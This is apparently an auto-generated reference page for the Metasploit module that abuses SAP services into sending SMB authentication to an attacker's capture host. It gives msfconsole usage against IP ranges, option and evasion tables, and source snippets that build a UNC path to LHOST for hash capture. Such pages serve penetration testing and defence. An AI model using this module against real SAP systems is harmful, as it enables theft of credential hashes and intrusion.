SAP SMB Relay Abuse - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/sap/sap_smb_relay metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: SAP SMB Relay Abuse
Module: auxiliary/scanner/sap/sap_smb_relay
Source code: modules/auxiliary/scanner/sap/sap_smb_relay.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module exploits provides several SMB Relay abuse through different SAP services and functions. The attack is done through specially crafted requests including a UNC Path which will be accessing by the SAP system while trying to process the request. In order to get the hashes the auxiliary/server/capture/smb module can be used.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/sap/sap_smb_relay
msf auxiliary(sap_smb_relay) > show options
    ... show and set options ...
msf auxiliary(sap_smb_relay) > set RHOSTS ip-range
msf auxiliary(sap_smb_relay) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(sap_smb_relay) > set RHOSTS 192.168.1.3-192.168.1.200

Example 2:

msf auxiliary(sap_smb_relay) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(sap_smb_relay) > set RHOSTS file:/tmp/ip_list.txt

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • LHOST: Server IP or hostname of the SMB Capture system

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Msfconsole Usage

Here is how the scanner/sap/sap_smb_relay auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/sap/sap_smb_relay

msf6 auxiliary(scanner/sap/sap_smb_relay) > show info

       Name: SAP SMB Relay Abuse
     Module: auxiliary/scanner/sap/sap_smb_relay
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Alexey Tyurin
  nmonkee

Check supported:
  No

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  ABUSE         MMR              yes       SMB Relay abuse to use (Accepted: MMR, BW, CLBA_CLASSIF_FILE_REMOTE_HOST, CLBA_UPDATE_FILE_REMOTE_HOST)
  CLIENT        001              yes       SAP client
  HttpPassword                   no        Password (Ex 06071992)
  HttpUsername                   no        Username (Ex SAP*)
  LHOST                          yes       Server IP or hostname of the SMB Capture system
  Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT         8000             yes       The target port (TCP)
  SSL           false            no        Negotiate SSL/TLS for outgoing connections
  THREADS       1                yes       The number of concurrent threads (max one per host)
  VHOST                          no        HTTP server virtual host

Description:
  This module exploits provides several SMB Relay abuse through 
  different SAP services and functions. The attack is done through 
  specially crafted requests including a UNC Path which will be 
  accessing by the SAP system while trying to process the request. In 
  order to get the hashes the auxiliary/server/capture/smb module can 
  be used.

References:
  http://erpscan.com/advisories/dsecrg-12-033-sap-basis-6-407-02-xml-external-entity/
  https://service.sap.com/sap/support/notes/1597066

Module Options

This is a complete list of options available in the scanner/sap/sap_smb_relay auxiliary module:

msf6 auxiliary(scanner/sap/sap_smb_relay) > show options

Module options (auxiliary/scanner/sap/sap_smb_relay):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   ABUSE         MMR              yes       SMB Relay abuse to use (Accepted: MMR, BW, CLBA_CLASSIF_FILE_REMOTE_HOST, CLBA_UPDATE_FILE_REMOTE_HOST)
   CLIENT        001              yes       SAP client
   HttpPassword                   no        Password (Ex 06071992)
   HttpUsername                   no        Username (Ex SAP*)
   LHOST                          yes       Server IP or hostname of the SMB Capture system
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         8000             yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   THREADS       1                yes       The number of concurrent threads (max one per host)
   VHOST                          no        HTTP server virtual host

Advanced Options

Here is a complete list of advanced options supported by the scanner/sap/sap_smb_relay auxiliary module:

msf6 auxiliary(scanner/sap/sap_smb_relay) > show advanced

Module advanced options (auxiliary/scanner/sap/sap_smb_relay):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress          true                                                yes       Display progress messages during a scan
   ShowProgressPercent   10                                                  yes       The interval in percent that progress should be shown
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the scanner/sap/sap_smb_relay module can do:

msf6 auxiliary(scanner/sap/sap_smb_relay) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the scanner/sap/sap_smb_relay auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/sap/sap_smb_relay) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<RHOST>:<RPORT> - Credentials needed in order to abuse the SAP BW service

Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Credentials needed in order to abuse the SAP BW service" error message:

77:	  end
78:	
79:	  def run_xmla
80:	
81:	    if not valid_credentials?
82:	      vprint_error("#{rhost}:#{rport} - Credentials needed in order to abuse the SAP BW service")
83:	      return
84:	    end
85:	
86:	    smb_uri = "\\\\#{datastore['LHOST']}\\#{Rex::Text.rand_text_alpha_lower(7)}.#{Rex::Text.rand_text_alpha_lower(3)}"
87:	    data = '<?xml version="1.0" encoding="utf-8" ?>'

<RHOST>:<RPORT> - Unable to connect

Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Unable to connect" error message:

104:	        print_good("#{rhost}:#{rport} - SMB Relay looks successful, check your SMB capture machine")
105:	      else
106:	        vprint_status("#{rhost}:#{rport} - Response: #{res.code} - #{res.message}") if res
107:	      end
108:	    rescue ::Rex::ConnectionError
109:	      print_error("#{rhost}:#{rport} - Unable to connect")
110:	      return
111:	    end
112:	  end
113:	
114:	  def run_mmr

<RHOST>:<RPORT> - Unable to connect

Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Unable to connect" error message:

147:	
148:	      if res
149:	        vprint_status("#{rhost}:#{rport} - Response: #{res.code} - #{res.message}")
150:	      end
151:	    rescue ::Rex::ConnectionError
152:	      print_error("#{rhost}:#{rport} - Unable to connect")
153:	      return
154:	    end
155:	  end
156:	
157:	  def send_soap_rfc_request(data, smb_uri)

<RHOST>:<RPORT> - Credentials needed in order to abuse the SAP SOAP RFC service

Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Credentials needed in order to abuse the SAP SOAP RFC service" error message:

154:	    end
155:	  end
156:	
157:	  def send_soap_rfc_request(data, smb_uri)
158:	    if not valid_credentials?
159:	      vprint_error("#{rhost}:#{rport} - Credentials needed in order to abuse the SAP SOAP RFC service")
160:	      return
161:	    end
162:	
163:	    begin
164:	      vprint_status("#{rhost}:#{rport} - Sending request for #{smb_uri}")

<RHOST>:<RPORT> - Unable to connect

Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Unable to connect" error message:

181:	        print_good("#{rhost}:#{rport} - SMB Relay looks successful, check your SMB capture machine")
182:	      else
183:	        vprint_status("#{rhost}:#{rport} - Response: #{res.code} - #{res.message}") if res
184:	      end
185:	    rescue ::Rex::ConnectionError
186:	      print_error("#{rhost}:#{rport} - Unable to connect")
187:	      return
188:	    end
189:	  end
190:	
191:	  def run_clba_classif_file_remote

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References

See Also

Check also the following modules related to this module:

Authors

  • Alexey Tyurin
  • nmonkee

Version

This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

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